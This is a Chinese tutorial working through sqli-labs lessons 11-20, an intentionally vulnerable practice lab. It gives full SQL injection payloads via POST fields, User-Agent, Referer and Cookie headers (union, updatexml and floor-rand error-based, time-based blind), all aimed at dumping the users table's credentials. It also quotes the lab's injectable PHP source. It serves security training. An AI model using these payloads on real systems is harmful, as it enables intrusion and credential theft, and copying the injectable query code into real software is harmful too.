sqli-labs教程——Less 11-20
sqli-labs教程——Less 11-20 Page-1 Basic Challenges
- 准备工具
- Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
- 1. 判断是否有注入点
- 2. 判断闭合字符
- 3. 判断当前页面中SQL语句的查询列数
- 4. 判断数据在页面中回显位置和SQL语句中回显位
- 5. 判断当前页面连接的数据库名称
- 6. 显示security数据库中所有表名称信息
- 7. 判断users表的列名称信息
- 8. 查询users表的所有信息
- Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)
- 1. 判断是否有注入点
- 2. 判断闭合字符
- 3. 判断当前页面中SQL语句的查询列数
- 4. 判断数据在页面中回显位置和SQL语句中回显位
- 5. 判断当前页面连接的数据库名称
- 6. 显示security数据库中所有表名称信息
- 7. 判断users表的列名称信息
- 8. 查询users表的所有信息
- Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双查询注入)
- 1. 判断是否有注入点
- 2. 判断闭合字符
- 3. 判断当前页面中SQL语句的查询列数
- 4. 判断数据在页面中回显位置和SQL语句中回显位
- 5. 判断当前页面连接的数据库名称
- 6. 显示security数据库中所有表名称信息
- 7. 判断users表的列名称信息
- 8. 查询users表的所有信息
- Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双查询注入)
- 1. 判断是否有注入点
- 2. 判断闭合字符
- 3. 判断当前页面中SQL语句的查询列数
- 4. 判断数据在页面中回显位置和SQL语句中回显位
- 5. 判断当前页面连接的数据库名称
- 6. 显示security数据库中所有表名称信息
- 7. 判断users表的列名称信息
- 8. 查询users表的所有信息
- Less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)
- 1. 判断注入点和闭合字符
- 2. 判断当前页面连接的数据库名称长度
- 3. 判断数据库名称
- 4. 判断security数据库中的表名称信息
- 5. 判断users表的列名称信息
- 6. 查询users表的信息
- 7. 总结
- Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)
- 1. 判断注入点和闭合字符
- 2. 判断数据库名称长度
- 3. 判断数据库名称
- 4. 判断security数据库中的表名称信息
- 5. 判断users表的列名称信息
- 6. 查询users表的信息
- Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)
- 1. 判断注入点和闭合字符
- 2. 判断当前页面中SQL语句的查询列数
- 3. 判断当前页面连接的数据库名称
- 4. 显示security数据库中所有表名称信息
- 5. 判断users表的列名称信息
- 6. 查询users表的信息
- 7. 总结
- function check_input()函数
- 各个函数说明
- check_input()函数步骤
- Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)
- 1. 判断是否有注入点
- 2. 判断闭合字符
- 3. 判断当前页面连接的数据库名称
- 4. 显示security数据库中所有表名称信息
- 5. 判断users表的列名称信息
- 6. 查询users表的信息
- 7. 总结
- Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)
- 1. 判断是否有注入点
- 2. 判断闭合字符
- 3. 判断当前页面连接的数据库名称
- 4. 显示security数据库中所有表名称信息
- 5. 判断users表的列名称信息
- 6. 查询users表的信息
- Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)
- 1. 判断是否有注入点
- 2. 判断闭合字符
- 3. 判断当前页面中SQL语句的查询列数
- 4. 判断数据在页面中的回显位置和SQL语句中回显位
- 5. 判断当前页面连接的数据库名称
- 6. 判断数据库中的表名称信息
- 7. 判断users表的列名称信息
- 8. 查询users表的所有信息
- 9. 总结
准备工具
从Less11开始,用到了POST型的注入,可能会用到burpsuite、浏览器中的hackbar等工具。
burpsuite下载链接:
burpsuite v2020.12.1(新版已经取消HEX等功能,需要在老版本中使用)
- 链接:https://pan.baidu.com/s/1yG8Xz8UJA44R3IDde8fF7Q
- 提取码:dl4j
burpsuite v2020.8
- 链接:https://pan.baidu.com/s/1L5yGW4BI2NxmcaEcQJVx3g
- 提取码:mecc
Firefox渗透测试版本下载:https://download.csdn.net/download/qq_25649867/14883439
Firefox解压后即可使用,里面包含多种插件
上图是Firefox中hackbar的界面
- Load URL:获得当前页面URL
- Execute:执行,编辑好URL和各种信息可以进行执行(快捷键为ctrl + enter)
- Post data:编辑post传参的内容
- Referrer:编辑referrer的内容
- 0xHEX:可以对所选内容进行十六进制编码
- 选中后,点击右箭头即为编码
- 选中后,点击左箭头即为解码
- %URL:可以对所选内容进行URL编码,操作方式与十六进制相同
- BASE64:可以对所选内容进行BASE64编码。操作方式与十六进制相同
Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
1. 判断是否有注入点
首先在浏览器中打开hackbar,并打开Post data
在username和password中随意输入内容,例如:admin, 123
可以在Post data中查看到Post参数内容
2. 判断闭合字符
uname=admin’ &passwd=123&submit=Submit
输入单引号,页面报错信息如下所示:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘123’ LIMIT 0,1’ at line 1
也可以将单引号放在passwd中,页面报错信息会更加清晰
uname=admin&passwd=123’&submit=Submit
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘123’’ LIMIT 0,1’ at line 1
’ ’ 123’ ’ LIMIT 0,1 ’
可以确定闭合字符为单引号
3. 判断当前页面中SQL语句的查询列数
uname=admin&passwd=123’ order by 2 #&submit=Submit
可以确定列数为2
4. 判断数据在页面中回显位置和SQL语句中回显位
uname=admin&passwd=1’ union select database(),version()#&submit=Submit
5. 判断当前页面连接的数据库名称
uname=admin&passwd=1’ union select database(),version()#&submit=Submit
得到数据库名称为security
6. 显示security数据库中所有表名称信息
uname=admin&passwd=1’ union select group_concat(’~’,table_name),version() from information_schema.tables where table_schema=‘security’#&submit=Submit
7. 判断users表的列名称信息
uname=admin&passwd=1’ union select group_concat(’~’,column_name),version() from information_schema.columns where table_name=‘users’ and table_schema=‘security’#&submit=Submit
8. 查询users表的所有信息
uname=admin&passwd=1’ union select group_concat(’’,id,’’,username,’~’,password),version() from security.users#&submit=Submit
Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)
1. 判断是否有注入点
在username和password中随意输入内容,例如admin,1
可以在Post data中查看到Post参数内容
2. 判断闭合字符
uname=admin")&passwd=1&submit=Submit
输入"),页面报错信息如下所示:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘") and password=(“1”) LIMIT 0,1’ at line 1
可以在password=(“1”)可以看出闭合字符为("")
3. 判断当前页面中SQL语句的查询列数
uname=admin") order by 2#&passwd=1&submit=Submit
可以确定列数为2
4. 判断数据在页面中回显位置和SQL语句中回显位
uname=1") union select @@datadir,version()#&passwd=1&submit=Submit
5. 判断当前页面连接的数据库名称
uname=1") union select database(),version()#&passwd=1&submit=Submit
得到数据库名称为security
6. 显示security数据库中所有表名称信息
uname=1") union select group_concat(’~’,table_name),version() from information_schema.tables where table_schema=‘security’#&passwd=1&submit=Submit
7. 判断users表的列名称信息
uname=1") union select group_concat(’~’,column_name),version() from information_schema.columns where table_schema=‘security’ and table_name=‘users’#&passwd=1&submit=Submit
8. 查询users表的所有信息
uname=1") union select group_concat(’’,id,’’,username,’~’,password),version() from security.users#&passwd=1&submit=Submit
Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双查询注入)
1. 判断是否有注入点
首先在浏览器中打开hackbar,并打开Post data
在username和password中随意输入内容,例如:admin, 123
可以在Post data中查看到Post参数内容
2. 判断闭合字符
uname=admin’)&passwd=1&submit=Submit
输入’),页面报错信息如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’) and password=(‘1’) LIMIT 0,1’ at line 1
可以在 password=(‘1’)可以看出闭合字符为('')
3. 判断当前页面中SQL语句的查询列数
uname=admin’) order by 2#&passwd=1&submit=Submit
可以确定列数为2
4. 判断数据在页面中回显位置和SQL语句中回显位
uname=1’) union select @@datadir,version()#&passwd=1&submit=Submit
并没有提示信息,根据题目,可以尝试使用双查询注入.
5. 判断当前页面连接的数据库名称
uname=1’) and (select 1 from (select 1,count(*),concat(’~’,(select database()),’~’,floor(rand(0)*2))x from information_schema.columns group by x)a)#&passwd=1&submit=Submit
得到数据库名称为security
6. 显示security数据库中所有表名称信息
uname=1’) and (select 1 from (select 1,count(*),concat(’~’,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),’~’,floor(rand(0)*2))x from information_schema.columns group by x)a)#&passwd=1&submit=Submit
修改limit 0,1为limit 3,1,可以获得users表名
uname=1’) and (select 1 from (select 1,count(*),concat(’~’,(select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),’~’,floor(rand(0)*2))x from information_schema.columns group by x)a)#&passwd=1&submit=Submit
7. 判断users表的列名称信息
获得id列名称:
uname=1’) and (select 1 from (select 1,count(*),concat(’~’,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),’~’,floor(rand(0)*2))x from information_schema.columns group by x)a)#&passwd=1&submit=Submit
获得username列名称:
uname=1’) and (select 1 from (select 1,count(*),concat(’~’,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),’~’,floor(rand(0)*2))x from information_schema.columns group by x)a)#&passwd=1&submit=Submit
获得password列名称:
uname=1’) and (select 1 from (select 1,count(*),concat(’~’,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 2,1),’~’,floor(rand(0)*2))x from information_schema.columns group by x)a)#&passwd=1&submit=Submit
8. 查询users表的所有信息
uname=1’) and (select 1 from (select 1,count(*),concat(’~’,(select concat_ws(’~’,id,username,password) from security.users limit 0,1),’~’,floor(rand(0)*2))x from information_schema.columns group by x)a)#&passwd=1&submit=Submit
通过修改limit,可以查询用户信息,不再过多展示。
Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双查询注入)
1. 判断是否有注入点
首先在浏览器中打开hackbar,并打开Post data
在username和password中随意输入内容,例如:admin, 123
可以在Post data中查看到Post参数内容
2. 判断闭合字符
uname=admin")&passwd=1&submit=Submit
输入"),页面报错信息如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘)" and password=“1” LIMIT 0,1’ at line 1
在password=“1”,可以看出闭合字符为""
3. 判断当前页面中SQL语句的查询列数
uname=admin" order by 2#&passwd=1&submit=Submit
可以确定列数为2
4. 判断数据在页面中回显位置和SQL语句中回显位
uname=1" union select 1,2#&passwd=1&submit=Submit
并没有提示信息,根据题目,可以尝试使用双查询注入。
这次尝试使用updatexml函数进行报错查询。
5. 判断当前页面连接的数据库名称
uname=-1" and updatexml(1,concat(’~’,(select database()),’~’),1)#&passwd=1&submit=Submit
得到数据库名称为security
6. 显示security数据库中所有表名称信息
uname=-1" and updatexml(1,concat(’!’,(select group_concat(’~’,table_name) from information_schema.tables where table_schema=‘security’),’!’),1)#&passwd=1&submit=Submit
可以获得security数据库中的所有表名称信息
7. 判断users表的列名称信息
uname=-1" and updatexml(1,concat(’!’,(select group_concat(’~’,column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),’!’),1)#&passwd=1&submit=Submit
可以获得users表的所有列名称信息
8. 查询users表的所有信息
uname=-1" and updatexml(1,concat(’!’,(select group_concat(’~’,id,username,password) from security.users),’!’),1)#&passwd=1&submit=Submit
可以获得users表中的内容,因报错内容具有一定的长度限制,建议使用concat_ws函数配合limit进行单独查看。例如:
uname=-1" and updatexml(1,concat(’!’,(select concat_ws(’~’,id,username,password) from security.users limit 0,1),’!’),1)#&passwd=1&submit=Submit
Less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)
1. 判断注入点和闭合字符
经过多次尝试,uname和passwd中输入随意内容与单引号,都仅仅只有报错页面,所以此时考虑使用时间延迟注入。
构造注入如下注入:
uname=1' and sleep(3)#&passwd=1&submit=Submituname=1&passwd=1' and sleep(3)#&submit=Submituname=1"and sleep(3)#&passwd=1&submit=Submituname=1&passwd=1" and sleep(3)#&submit=Submit
很不巧,更换输入内容和闭合字符均失效。
考虑修改一下uname的内容,将其内容更换为admin:
uname=admin&passwd=1' and sleep(3)&submit=Submit
这个注入方法依旧是没有所预想的时间延迟,将sleep(3)换到uname中。
uname=admin’ and sleep(3)#&passwd=1&submit=Submit
使用浏览器查看时间线,时间大于3秒,说明注入成功,闭合字符为单引号。
2. 判断当前页面连接的数据库名称长度
uname=admin’ and if(length(database()=8),sleep(3),0)#&passwd=1&submit=Submit
时间大于3秒,数据库长度为8。
3. 判断数据库名称
首先判断第一个字符
uname=admin’ and if(ascii(substring(database(),1,1))=115,sleep(3),0)#&passwd=1&submit=Submit
数据库名称的第一个字符的ASCII码为115,对应的字母为s
修改substring函数中的参数,来继续获取数据库名称的其他字符,最终得到数据库名称为:security
4. 判断security数据库中的表名称信息
uname=admin’ and if(ascii(substring((select table_name from information_schema.tables where table_schema=‘security’ limit 3,1) ,1,1))=117,sleep(3),0)#&passwd=1&submit=Submit
可以获得数据库security的第4个表的第一个字符的ASCII码为117,对应的字母为u,也就是users表。
5. 判断users表的列名称信息
uname=admin’ and if(ascii(substring((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1) ,1,1))=105,sleep(3),0)#&passwd=1&submit=Submit
获取到users表的第1个字段的第1个字符的ASCII码是105,对应的字母是i,也就是id列。修改limit和substring的参数,可以逐步获得users表的全部列信息:id、username、password。
6. 查询users表的信息
获取username列的第2个字段的第3个字符的值:
uname=admin’ and if(ascii(substring((select username from security.users limit 1,1) ,3,1))=103,sleep(3),0)#&passwd=1&submit=Submit
获取到的结果是g,对应的是Angelina。
7. 总结
现在来看一下,寻找注入点并判断闭合字符中,为何仅仅在uname使用admin,并且sleep()等函数需要放在uname中才可以进行注入。
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
uname和passwd的输入内容都没有做过滤,可以放心构造语句。
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
以上是Less-15中仅有的SQL语句,最明显的是可以看出闭合字符为单引号,其次发现已经和之前的SQL语句不同,这次是限定了查找的列内容。
执行以下mysql语句,验证以下结果
mysql> use security;
Database changed
mysql> SELECT username, password FROM users WHERE username='admin' and sleep(3)#' and password='1' LIMIT 0,1 ;-> ;
Empty set (3.00 sec)
mysql> SELECT username, password FROM users WHERE username='admin' and password='1' and sleep(3)#' LIMIT 0,1 ;-> ;
Empty set (0.00 sec)
当password=1的时候,前面查询内容为空,不满足条件,所以sleep(3)无法执行。
Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)
1. 判断注入点和闭合字符
uname=admin") and 1=1#&passwd=1&submit=Submit
uname=admin") and 1=2#&passwd=1&submit=Submit
因页面已经不给报错信息,所以要进行尝试。当使用"),并且1=1和1=2返回的页面有差异,所以确定闭合符号为")。
2. 判断数据库名称长度
uname=admin") and length(database())=8#&passwd=1&submit=Submit
经过尝试,数据库名称长度为8.
3. 判断数据库名称
首先判断第一个字符
进行字符提取的时候,大小写字符返回相同的结果,所以使用ASCII码来进行判断会更加准确。
uname=admin") and ascii(substring(database(),1,1))=115#&passwd=1&submit=Submit
可知数据库名称的第1个字符是s,对应的数据名称为:security
4. 判断security数据库中的表名称信息
uname=admin") and ascii(substring((select table_name from information_schema.tables where table_schema=‘security’ limit 2,1),1,1))=117#&passwd=1&submit=Submit
当使用limit 2,1,第一个字符为u,也就是对应的users表
5. 判断users表的列名称信息
uname=admin") and ascii(substring((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),1,1))=105#&passwd=1&submit=Submit
获取到users表的第1个字段的第1个字符的ASCII码是105,对应的字母是i,也就是id列。
6. 查询users表的信息
uname=admin") and ascii(substring((select username from security.users limit 0,1),1,1))=68#&passwd=1&submit=Submit
获取到username列的第1个字段的第1个字符的ASCII码是68,对应字母是D,也就是Dumb。
Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)
1. 判断注入点和闭合字符
uname=admin'&passwd=1&submit=Submituname=admin"&passwd=1&submit=Submituname=admin')&passwd=1&submit=Submituname=admin")&passwd=1&submit=Submit
都显示如下界面:
被嘲讽了…………
所以尝试从password进行入手:
uname=admin&passwd=1’&submit=Submit
在passwd中进行尝试,终于有了不同的显示页面,可以确定注入点在passwd。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘admin’’ at line 1
通过提示,可以判断闭合字符是单引号。
2. 判断当前页面中SQL语句的查询列数
从题目可以看出,这是修改密码的SQL语句,所以使用的是update语句,而updata不支持order by的配合。结果如下:
uname=admin&passwd=1’ order by 1#&submit=Submit
3. 判断当前页面连接的数据库名称
这里尝试使用update函数。
uname=admin&passwd=1’ and updatexml(1,concat(’~’,(select database()),’~’),1)#&submit=Submit
得到数据库名称为security
4. 显示security数据库中所有表名称信息
uname=admin&passwd=1’ and updatexml(1,concat(’~’,(select group_concat(’~’,table_name) from information_schema.tables where table_schema=‘security’),’~’),1)#&submit=Submit
可以看到已经对可展示内容的长度进行了限制。
所以更改语句为
uname=admin&passwd=1’ and updatexml(1,concat(’~’,(select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),’~’),1)#&submit=Submit
可以查询到users表
5. 判断users表的列名称信息
uname=admin&passwd=1’ and updatexml(1,concat(’~’,(select group_concat(’~’,column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),’~’),1)#&submit=Submit
6. 查询users表的信息
uname=admin&passwd=1’ and updatexml(1,concat(’~’,(select concat_ws(’~’,id,username,password) from security.users limit 0,1),’~’),1)#&submit=Submit
可以查看到报错信息,没能获取到users表的内容
那么这里尝试再加一层select
uname=admin&passwd=1’ and updatexml(1,concat(’~’,(select 1 from (select concat_ws(’~’,id,username,password) from security.users limit 0,1)),’~’),1)#&submit=Submit
结果出现如下错误:
Every derived table must have its own alias
最终修改语句为:
uname=admin&passwd=1’ and updatexml(1,concat(’~’,(select * from (select concat_ws(’~’,id,username,password) from security.users limit 0,1)as a),’~’),1)#&submit=Submit
可以成功获得到users表的内容
7. 总结
此处新出现了update方法和其他问题,所以在此处查看一下源码,看看详细内容。
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
可以看出对uname进行了操作,而passwd并没有。
function check_input()函数
function check_input($value){if(!empty($value)){// truncation (see comments)$value = substr($value,0,15);}// Stripslashes if magic quotes enabledif (get_magic_quotes_gpc()){$value = stripslashes($value);}// Quote if not a numberif (!ctype_digit($value)){$value = "'" . mysql_real_escape_string($value) . "'";}else{$value = intval($value);}return $value;}
各个函数说明
- get_magic_quotes_gpc()函数
get_magic_quotes_gpc()函数会获取PHP中的环境变量magic_quotes_gpc的值。
返回0的时候,代表magic_quotes_gpc功能关闭
返回1的时候,代表magic_quotes_gpc功能打开
magic_quotes_gpc可以用来防止一些SQL注入,该功能在默认状态下是关闭的。如果把它打开,会自动把用户提交对SQL语句进行转换,可以把单引号、双引号、空字符等字符加上反斜线,这对防止SQL注入会有重大作用。
- stripslashes()函数
返回一个去除转义反斜线后的字符串(\'
转换为 '
等等)。双反斜线(\\
)被转换为单个反斜线(\
)。
- mysql_real_escape_string() 函数
mysql_real_escape_string()调用mysql库的函数 mysql_real_escape_string, 在下字符前添加反斜杠: \x00
, \n
, \r
, \
, '
, "
和 \x1a
.
- ctype_digit()函数
如果参数内容是一个十进制数字,就返回 TRUE
;反之就返回 FALSE
。
check_input()函数步骤
- 首先对输入内容
$value
是否为空进行判断 - 若不为空,提取
$value
的前15个字符 - 判断php配置内容中的
magic_quotes_gpc
功能是否开启 - 若开启
magic_quotes_gpc
功能,则返回一个去除转义反斜线后的$value
- 判断
$value
是否为十进制数字 - 若
$value
不是十进制数字,在$value
的首位加上单引号
可以看到Less-17是对uname进行了一系列的操作,来阻止SQL注入。而并没有对password进行阻止,所以考虑从password下手。
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
当uname被进行了一系列的操作之后,会被放入上述SQL语句中。
Less-17中,是先使用uname进行查询,若有查询结果后,才能执行后续的update语句。
所以进行注入的时候uname需要使用数据库中已经存在的用户,示例中的admin就在其中。
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
查看SQL语句,可以发现passwd的闭合字符为单引号。
当然平时练习,不推荐轻易查看源码哦!
ps.如果在练习过程中,不小心修改了数据库的内容信息,可以访问主页面
点击Setup/reset Database for labs,对数据库进行恢复
Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)
1. 判断是否有注入点
尝试在uname、password内容中判断闭合字符
但是界面都显示如下内容:
很大概率是在uname和password中都进行了输入内容的判断。使用admin、admin登陆后,查看内容。
页面显示了IP地址以及User-Agent的信息,并且考虑到题目的提示内容,推测User-Agent是注入点。抓包尝试更换User-Agent的内容,查看页面回显结果。
用burpsuite抓包,Ctrl + R,将内容发送到Repeater中,修改User-Agent的内容为User-Agent: Hello,SQL! ,点击send,在Response中点击Render,查看页面结果,结果如下图所示:
可以看到页面的回显信息已经变成了Hello,SQL!所以推测User-Agent就是注入点。
2. 判断闭合字符
User-Agent:1’
使用单引号,页面报错内容如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘172.20.10.2’, ‘admin’)’ at line 1
’172.20.10.2’, ‘admin’)'
所以可以确定闭合字符为单引号。
根据报错提示,以及后面两个参数的情况,确定闭合字符为单引号。并且从报错格式中推测几乎不可能为select,所以直接尝试使用updatexml函数,进行双查询注入。
3. 判断当前页面连接的数据库名称
根据之前报错提示,推测此处使用的SQL语句是insert into table (column_name1,column_name2,…) values (arg1,arg2,…)
对猜测进行检验,构造结果为:User-Agent:1’,2,3)#
可以查看到已经没有报错信息,说明此处推测的insert语句是正确的,接下来就可以正式构造SQL语句了。
构造内容:User-Agent: 1’,2,updatexml(1,concat(’~’,(select database()),’~’),1))#
得到数据库名称为security
4. 显示security数据库中所有表名称信息
User-Agent: 1’,2,updatexml(1,concat(’~’,(select group_concat(’~’,table_name) from information_schema.tables where table_schema=‘security’),’~’),1))#
报错内容显示不全,所以去掉group_concat函数,增加limit,逐个尝试。
User-Agent: 1’,2,updatexml(1,concat(’~’,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),’~’),1))#
当使用limit 3,1,获得的表名为users。
5. 判断users表的列名称信息
User-Agent: 1’,2,updatexml(1,concat(’~’,(select group_concat(’~’,column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),’~’),1))#
可以获得users表的列名称信息
6. 查询users表的信息
User-Agent: 1’,2,updatexml(1,concat(’~’,(select concat_ws(’~’,id,username,password) from security.users limit 0,1),’~’),1))#
7. 总结
查看一下原码,分析一下情况
首先是对输入内容的检验和操作,和Less-17中内容一样。
function check_input($value){if(!empty($value)){// truncation (see comments)$value = substr($value,0,20);}// Stripslashes if magic quotes enabledif (get_magic_quotes_gpc()){$value = stripslashes($value);}// Quote if not a numberif (!ctype_digit($value)){$value = "'" . mysql_real_escape_string($value) . "'";}else{$value = intval($value);}return $value;}
此处获取请求头中的User-Agent内容和IP地址
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
本题是对uname和passwd都进行了检查,这两处均无法进行注入,考虑上边代码获取的User-Agent
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
其余核心代码如下:
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);if($row1){echo '<font color= "#FFFF00" font size = 3 >';$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";mysql_query($insert);//echo 'Your IP ADDRESS is: ' .$IP;echo "</font>";//echo "<br>";echo '<font color= "#0000ff" font size = 3 >'; echo 'Your User Agent is: ' .$uagent;echo "</font>";echo "<br>";print_r(mysql_error()); echo "<br><br>";echo '<img src="../images/flag.jpg" />';echo "<br>";}else{echo '<font color= "#0000ff" font size="3">';//echo "Try again looser";print_r(mysql_error());echo "</br>"; echo "</br>";echo '<img src="../images/slap.jpg" />'; echo "</font>"; }
首先,通过uname和passwd构造SQL查询语句,当只有具备查询结果的时候,才进行接下来的步骤,所以在构造数据包的过程中,uname、passwd所使用的admin都是碰巧在数据库中的常用信息。
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);if($row1){………………}
使用提取到的User-Agent、IP地址和uname构造insert语句,在security的uagents表中,插入新内容。
if($row1){echo '<font color= "#FFFF00" font size = 3 >';$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";mysql_query($insert);
Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)
1. 判断是否有注入点
在uname、password内容中判断闭合字符,页面都返回相同的内容,图片如下所示
推断和Less-18类似,对uname和password进行了过滤,使用admin、admin登陆后,查看内容。
页面显示了IP地址和referer的信息,并且考虑到题目的提示内容,推测referer是注入点。抓包尝试更换referer的内容,查看页面回显结果。
Referer: hello,SQL!
可以看到页面的回显信息已经变成了Hello,SQL!所以推测Referer就是注入点。
2. 判断闭合字符
修改uname=admin;passwd=admin;Referer:1’,点击send,结果如下:
报错内容提示如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘192.168.101.13’)’ at line 1
通过报错内容,可以得知闭合字符为单引号。
3. 判断当前页面连接的数据库名称
根据报错提示,推测此处使用的SQL语句是insert into table (column_name1,column_name2,…) values (arg1,arg2,…)
首先猜测输入内容为两条,构造结果为:Referer: 1’,2)#
当构造Referer: 1’,2,3)#的时候,页面显示报错,所以可以确定传入数据库的参数为两条。报错信息如下:
开始构造语句,获取其数据库名称,构造内容:
Referer: 1’,updatexml(1,concat(’~’,(select database()),’~’),1))#
得到数据库名称为security
4. 显示security数据库中所有表名称信息
Referer: 1’,updatexml(1,concat(’~’,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),’~’),1))#
通过修改limit的内容,可以查看其余security数据库中的其他表名称信息。
5. 判断users表的列名称信息
Referer: 1’,updatexml(1,concat(’~’,(select group_concat(’~’,column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),’~’),1))#
可以获得users表的列名称信息
6. 查询users表的信息
Referer: 1’,updatexml(1,concat(’~’,(select concat_ws(’|’,id,username,password) from security.users limit 0,1),’~’),1))#
通过修改limit,可以查看users表中的所有信息。
Less-19与Less-18很相似,差别不大,总结部分不再赘述。
Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)
1. 判断是否有注入点
在uname、passwd内容中判断闭合字符,页面都返回相同的内容,如图片所示:
应该是对uname和passwd都进行了过滤,先使用admin、admin进行登录,查看下内容
可以看到内容展示了请求头中的Host、User-Agent、Cookie,以及登录所用的用户名、密码以及ID值
点击**Delete Your Cookie!
**返回到登录页面。
使用burpsuite抓取请求头,查看其详细内容
可以查看到cookie的格式为 uname=用户名,uname和passwd都对输入内容进行了过滤,并且根据题目提示,注入点位于cookie中,所以修改cookie内容为1,观察结果
Cookie: uname=1
好吧,又被嘲讽了……
不过起码知道了注入点位于cookie
2. 判断闭合字符
Cookie: uname=1’
使用单引号,页面报错内容如下:
Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1
’ ’ 1’ ’ LIMIT 0,1 ’
所以可以确定闭合字符为单引号。
3. 判断当前页面中SQL语句的查询列数
Cookie: uname=1’ order by 3#
通过尝试可以得知当前页面中SQL语句的查询列数为3
4. 判断数据在页面中的回显位置和SQL语句中回显位
Cookie: uname=1’ union select @@datadir,version(),user()#
可以看到这次十分老实的就交出了各个回显位置。
5. 判断当前页面连接的数据库名称
Cookie: uname=1’ union select database(),version(),user()#
得到数据库名称为security
6. 判断数据库中的表名称信息
Cookie: uname=1’ union select version(),group_concat(’~’,table_name),user() from information_schema.tables where table_schema=‘security’#
可以成功获取到security数据库的所有表名称信息
7. 判断users表的列名称信息
Cookie: uname=1’ union select version(),group_concat(’~’,column_name),user() from information_schema.columns where table_schema=‘security’ and table_name=‘users’#
可以成功获取到users表的所有列名称信息
8. 查询users表的所有信息
Cookie: uname=1’ union select version(),group_concat(’’,id,’’,username,’~’,password),user() from security.users#
可以成功获取到users表中所有的内容信息
9. 总结
除了cookie注入点的判断之外,整个的注入过程仿佛梦回Less-1。
首先,查看一下对uname、passwd的过滤内容
function check_input($value){if(!empty($value)){$value = substr($value,0,20); // truncation (see comments)}if (get_magic_quotes_gpc()) // Stripslashes if magic quotes enabled{$value = stripslashes($value);}if (!ctype_digit($value)) // Quote if not a number{$value = "'" . mysql_real_escape_string($value) . "'";}else{$value = intval($value);}return $value;}
发现和Less-17和Less-18内容一样,不再赘述。
if(isset($_POST['uname']) && isset($_POST['passwd'])){$uname = check_input($_POST['uname']);$passwd = check_input($_POST['passwd']);$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";$result1 = mysql_query($sql);$row1 = mysql_fetch_array($result1);$cookee = $row1['username'];if($row1){………………
看到对uname、passwd进行了检测内容,所以需要从其他地方寻找注入点。
并且SQL语句需要能够成功查找到内容后,才会执行后续步骤,所以用户名和密码需要输入已经在数据中的内容,不然无法登陆并且会报错。
$cookee
是将刚才所查询到的username内容赋值进去。
